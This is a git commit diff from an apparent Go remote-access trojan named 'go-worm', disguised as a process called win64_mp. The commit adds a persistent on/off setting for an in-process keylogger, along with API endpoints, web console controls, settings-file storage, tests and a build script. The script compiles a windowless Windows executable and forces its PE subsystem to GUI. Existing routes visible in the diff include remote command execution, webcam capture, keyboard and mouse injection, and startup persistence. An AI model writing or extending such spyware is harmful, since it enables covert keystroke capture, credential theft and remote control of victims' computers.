feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
This commit is contained in:
2026-09-01 23:36:39 +03:00
parent a3c78820ed
commit ac31e52a8c
13 changed files with 329 additions and 14 deletions
+1
View File
@@ -0,0 +1 @@
1.0.0
+1
View File
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/settings", a.handleSettings)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/key", a.handleKey)
mux.HandleFunc("/api/v1/input/text", a.handleText)
+33
View File
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
"startup_enabled": startup.Enabled(),
"klogging": keylog.Running(),
})
}
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"klogging": config.KeylogEnabled(),
"klogging_running": keylog.Running(),
})
case http.MethodPut:
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var body struct {
Klogging *bool `json:"klogging"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
return
}
if err := keylog.SetEnabled(*body.Klogging); err != nil {
helpers.Log.Printf("klogging set: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"klogging": config.KeylogEnabled(),
"klogging_running": keylog.Running(),
})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
+5
View File
@@ -1,9 +1,11 @@
package agent
import (
"bytes"
"embed"
"net/http"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
@@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
return
}
if name == "web/index.html" {
data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version))
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Cache-Control", "no-cache")
_, _ = w.Write(data)
+41
View File
@@ -15,6 +15,9 @@
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
@@ -118,6 +121,10 @@
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const verEl = document.getElementById("app-version");
if (verEl && data.agent_version) {
verEl.textContent = data.agent_version;
}
const fields = [
["Hostname", data.hostname],
["User", data.user],
@@ -128,10 +135,12 @@
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
statusFields.replaceChildren(
...fields.map(([label, value]) => {
const item = document.createElement("div");
@@ -303,6 +312,29 @@
startupRemove.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
keylogDisable.disabled = !enabled;
}
async function loadSettings() {
const res = await api("/api/v1/settings");
const data = await res.json();
setKeylog(Boolean(data.klogging));
}
async function setKeylogEnabled(enabled) {
const res = await api("/api/v1/settings", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ klogging: enabled }),
});
const data = await res.json();
setKeylog(Boolean(data.klogging));
loadStatus().catch((err) => showError(err.message));
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
@@ -682,6 +714,9 @@
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
if (button.dataset.tab === "settings") {
loadSettings().catch((err) => showError(err.message));
}
});
});
@@ -694,6 +729,12 @@
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
keylogDisable.addEventListener("click", () => {
setKeylogEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
+25 -1
View File
@@ -122,6 +122,14 @@
font-size: 1.05rem;
line-height: 1.2;
}
.brand-text .ver {
margin-left: 0.45rem;
font-size: 0.78rem;
font-weight: 500;
font-family: var(--mono);
color: var(--text-muted);
letter-spacing: 0;
}
.brand-text p {
margin-top: 0.1rem;
font-size: 0.78rem;
@@ -711,7 +719,7 @@
</svg>
</div>
<div class="brand-text">
<h1>win64_mp</h1>
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
<p>Local agent console</p>
</div>
</div>
@@ -728,6 +736,7 @@
<button data-tab="webcam" type="button">Webcam</button>
<button data-tab="exec" type="button">Command</button>
<button data-tab="update" type="button">Update</button>
<button data-tab="settings" type="button">Settings</button>
<button data-tab="logs" type="button">Logs</button>
</nav>
@@ -909,6 +918,21 @@
<p id="update-result" class="meta"></p>
</section>
<section id="settings" class="panel">
<div class="panel-head">
<div>
<h2>Settings</h2>
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
</div>
</div>
<div class="startup-card">
<span id="keylog-state" class="meta">klogging: —</span>
<button id="keylog-enable" type="button">Enable</button>
<button id="keylog-disable" class="danger" type="button">Disable</button>
</div>
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
</section>
<section id="logs" class="panel">
<div class="panel-head">
<div>
+11 -1
View File
@@ -8,8 +8,10 @@ import (
"time"
)
// Version is the agent build version. scripts/build.sh overwrites this via -X.
var Version = "1.0.0"
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "win64_mp_Mutex"
RestartDelay = 3 * time.Second
@@ -32,6 +34,7 @@ const (
KeylogSubdir = "keystrokes"
LogsSubdir = "logs"
ClipboardSubdir = "clipboard"
SettingsFileName = "settings.json"
WatchdogTaskName = "win64_mp_watchdog"
DefaultKeylogRetentionDays = 7
AuthUser = "admin"
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
}
func KeylogEnabled() bool {
if on, ok := readKeylogPref(); ok {
return on
}
return envKeylogEnabled()
}
func envKeylogEnabled() bool {
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
case "0", "false", "no", "off":
return false
+75
View File
@@ -0,0 +1,75 @@
package config
import (
"encoding/json"
"os"
"path/filepath"
)
type fileSettings struct {
Klogging *bool `json:"klogging,omitempty"`
KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy
}
func settingsPath() (string, error) {
dir, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(dir, SettingsFileName), nil
}
func readKeylogPref() (bool, bool) {
s, err := loadFileSettings()
if err != nil {
return false, false
}
if s.Klogging != nil {
return *s.Klogging, true
}
if s.KeylogEnabled != nil {
return *s.KeylogEnabled, true
}
return false, false
}
func SetKeylogEnabled(on bool) error {
s, err := loadFileSettings()
if err != nil && !os.IsNotExist(err) {
s = fileSettings{}
}
s.Klogging = &on
s.KeylogEnabled = nil
return saveFileSettings(s)
}
func loadFileSettings() (fileSettings, error) {
path, err := settingsPath()
if err != nil {
return fileSettings{}, err
}
raw, err := os.ReadFile(path)
if err != nil {
return fileSettings{}, err
}
var s fileSettings
if err := json.Unmarshal(raw, &s); err != nil {
return fileSettings{}, err
}
return s, nil
}
func saveFileSettings(s fileSettings) error {
path, err := settingsPath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
return err
}
raw, err := json.Marshal(s)
if err != nil {
return err
}
return os.WriteFile(path, append(raw, '\n'), 0o600)
}
+45
View File
@@ -0,0 +1,45 @@
package config
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestKeylogPrefOverridesEnv(t *testing.T) {
base := t.TempDir()
t.Setenv("XDG_CONFIG_HOME", base)
t.Setenv("APPDATA", base)
t.Setenv("KEYLOG_ENABLED", "1")
if !KeylogEnabled() {
t.Fatal("expected env default on")
}
if err := SetKeylogEnabled(false); err != nil {
t.Fatal(err)
}
if KeylogEnabled() {
t.Fatal("pref should disable keylog")
}
if err := SetKeylogEnabled(true); err != nil {
t.Fatal(err)
}
if !KeylogEnabled() {
t.Fatal("pref should enable keylog")
}
raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName))
if err != nil {
t.Fatal(err)
}
var s fileSettings
if err := json.Unmarshal(raw, &s); err != nil {
t.Fatal(err)
}
if s.Klogging == nil || !*s.Klogging {
t.Fatalf("saved settings = %s", raw)
}
if s.KeylogEnabled != nil {
t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw)
}
}
+17
View File
@@ -17,6 +17,23 @@ var (
writerWG sync.WaitGroup
)
func Running() bool {
mu.Lock()
defer mu.Unlock()
return running
}
func SetEnabled(on bool) error {
if err := config.SetKeylogEnabled(on); err != nil {
return err
}
if !on {
Stop()
return nil
}
return Start()
}
func Start() error {
if !config.KeylogEnabled() {
return nil
+34
View File
@@ -247,6 +247,25 @@ func Spec() map[string]any {
}),
},
},
"/api/v1/settings": map[string]any{
"get": map[string]any{
"summary": "Read agent settings",
"operationId": "getSettings",
"responses": auth(map[string]any{
"200": okJSON("Current settings", ref("Settings")),
}),
},
"put": map[string]any{
"summary": "Update agent settings",
"operationId": "updateSettings",
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
"requestBody": jsonBody(ref("SettingsUpdate")),
"responses": auth(map[string]any{
"200": okJSON("Updated settings", ref("Settings")),
"400": errResp("Invalid body"),
}),
},
},
"/api/v1/update": map[string]any{
"post": map[string]any{
"summary": "Deploy uploaded agent executable on alternate port",
@@ -357,6 +376,7 @@ func Spec() map[string]any {
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
"klogging": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
@@ -421,6 +441,20 @@ func Spec() map[string]any {
"type": "object",
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
},
"Settings": map[string]any{
"type": "object",
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
"klogging_running": map[string]any{"type": "boolean"},
},
},
"SettingsUpdate": map[string]any{
"type": "object",
"required": []string{"klogging"},
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
+14
View File
@@ -28,4 +28,18 @@ func TestSpec(t *testing.T) {
if !ok || len(schemas) < 10 {
t.Fatalf("expected schemas, got %d", len(schemas))
}
status, ok := schemas["Status"].(map[string]any)
if !ok {
t.Fatal("missing Status schema")
}
props, ok := status["properties"].(map[string]any)
if !ok {
t.Fatal("missing Status properties")
}
if _, ok := props["klogging"]; !ok {
t.Fatal("Status missing klogging")
}
if _, ok := props["keylog_enabled"]; ok {
t.Fatal("Status still has keylog_enabled")
}
}
+17 -2
View File
@@ -4,7 +4,22 @@ set -euo pipefail
cd "$(dirname "$0")/.."
out="${1:-win64_mp.exe}"
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
version_file="VERSION"
if [[ ! -f "$version_file" ]]; then
echo "1.0.0" > "$version_file"
fi
old="$(tr -d '[:space:]' < "$version_file")"
if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "bad VERSION: $old" >&2
exit 1
fi
IFS=. read -r major minor patch <<< "$old"
ver="${major}.${minor}.$((10#$patch + 1))"
printf '%s\n' "$ver" > "$version_file"
ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
python3 - "$out" <<'PY'
import struct, sys
@@ -24,4 +39,4 @@ with open(path, "r+b") as f:
f.write(struct.pack("<H", 2))
print(f"pe subsystem=gui {path}")
PY
echo "built $out"
echo "built $out $ver"